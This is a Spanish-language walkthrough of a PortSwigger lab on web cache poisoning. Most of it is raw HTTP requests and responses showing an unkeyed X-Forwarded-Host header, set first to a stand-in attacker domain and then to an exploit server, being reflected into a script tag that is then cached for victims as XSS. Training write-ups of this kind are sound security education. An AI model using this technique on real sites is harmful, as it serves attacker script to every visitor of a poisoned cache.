GET/HTTP/2Host:0a78005e04586385800458cf00f5005c.web-security-academy.netCookie:session=d5rexs2XWUOrHG8Jxhxms8Ojpfg8oeHMCache-Control:max-age=0Sec-Ch-Ua:"Chromium";v="128","Not;A=Brand";v="24","Google Chrome";v="128"Sec-Ch-Ua-Mobile:?0Sec-Ch-Ua-Platform:"Windows"Upgrade-Insecure-Requests:1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:cross-siteSec-Fetch-Mode:navigateSec-Fetch-User:?1Sec-Fetch-Dest:documentReferer:https://portswigger.net/Accept-Encoding:gzip,deflate,brAccept-Language:es-ES,es;q=0.9Priority:u=0,i
Y esto responde:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINCache-Control: max-age=30Age: 0X-Cache: missContent-Length: 10982<!DOCTYPEhtml><html> <head> <linkhref=/resources/labheader/css/academyLabHeader.cssrel=stylesheet> <linkhref=/resources/css/labsEcommerce.cssrel=stylesheet> <title>Web cache poisoning with an unkeyed header</title> </head> <body> <script type="text/javascript" src="//0a78005e04586385800458cf00f5005c.web-security-academy.net/resources/js/tracking.js"></script>
<scriptsrc="/resources/labheader/js/labHeader.js"></script> <divid="academyLabHeader"> <sectionclass='academyLabBanner'> <divclass=container> <divclass=logo></div> <divclass=title-container> <h2>Web cache poisoning with an unkeyed header</h2>
Modificamos la peticion adicionando un parametro y una cabecera:
GET/?cb=1234HTTP/2Host:0a78005e04586385800458cf00f5005c.web-security-academy.netCookie:session=d5rexs2XWUOrHG8Jxhxms8Ojpfg8oeHMCache-Control:max-age=0Sec-Ch-Ua:"Chromium";v="128","Not;A=Brand";v="24","Google Chrome";v="128"Sec-Ch-Ua-Mobile:?0X-Forwarded-Host:http://atacante.comSec-Ch-Ua-Platform:"Windows"Upgrade-Insecure-Requests:1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:cross-siteSec-Fetch-Mode:navigateSec-Fetch-User:?1Sec-Fetch-Dest:documentReferer:https://portswigger.net/Accept-Encoding:gzip,deflate,brAccept-Language:es-ES,es;q=0.9Priority:u=0,i
Y lo anterior respondio asi:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINCache-Control: max-age=30Age: 21X-Cache: hitContent-Length: 10937<!DOCTYPEhtml><html> <head> <linkhref=/resources/labheader/css/academyLabHeader.cssrel=stylesheet> <linkhref=/resources/css/labsEcommerce.cssrel=stylesheet> <title>Web cache poisoning with an unkeyed header</title> </head> <body> <scripttype="text/javascript"src="//atacante.com/resources/js/tracking.js"></script> <scriptsrc="/resources/labheader/js/labHeader.js"></script> <divid="academyLabHeader"> <sectionclass='academyLabBanner'> <divclass=container> <divclass=logo></div> <divclass=title-container> <h2>Web cache poisoning with an unkeyed header</h2>
En la linea 17 se puede apreciar que el dominio agregado en la cabecera X-Forwarded-Host: http://atacante.com se esta reflejando dentro de la propiedad src de la etiqueta script.
Tambien otra diferencia importante entre la peticion legitima tenia la siguiente cabecera:
X-Cache: miss
y la otra peticion tenia esta:
X-Cache: hit
Por lo anterior modificamos nuestro exploit server:
Y luego de lo anterior, enviamos la peticion con el dominio de nuestro exploit server:
GET/?cb=1234HTTP/2Host:0a78005e04586385800458cf00f5005c.web-security-academy.netCookie:session=d5rexs2XWUOrHG8Jxhxms8Ojpfg8oeHMCache-Control:max-age=0Sec-Ch-Ua:"Chromium";v="128","Not;A=Brand";v="24","Google Chrome";v="128"Sec-Ch-Ua-Mobile:?0X-Forwarded-Host:exploit-0a910058048d63ca804257c6013c0019.exploit-server.netSec-Ch-Ua-Platform:"Windows"Upgrade-Insecure-Requests:1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:cross-siteSec-Fetch-Mode:navigateSec-Fetch-User:?1Sec-Fetch-Dest:documentReferer:https://portswigger.net/Accept-Encoding:gzip,deflate,brAccept-Language:es-ES,es;q=0.9Priority:u=0,i
Y la peticion previa responde asi:
HTTP/2 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: SAMEORIGINCache-Control: max-age=30Age: 0X-Cache: missContent-Length: 10984<!DOCTYPEhtml><html> <head> <linkhref=/resources/labheader/css/academyLabHeader.cssrel=stylesheet> <linkhref=/resources/css/labsEcommerce.cssrel=stylesheet> <title>Web cache poisoning with an unkeyed header</title> </head> <body> <script type="text/javascript" src="//exploit-0a910058048d63ca804257c6013c0019.exploit-server.net/resources/js/tracking.js"></script>
<scriptsrc="/resources/labheader/js/labHeader.js"></script> <divid="academyLabHeader"> <sectionclass='academyLabBanner'> <divclass=container> <divclass=logo></div> <divclass=title-container> <h2>Web cache poisoning with an unkeyed header</h2>
Despues de lo anterior, podemos quitar el parametro y enviar la peticion asi: GET / HTTP/2
De esta manera cuando la victima acceda a la raiz, se le desplegara el XSS: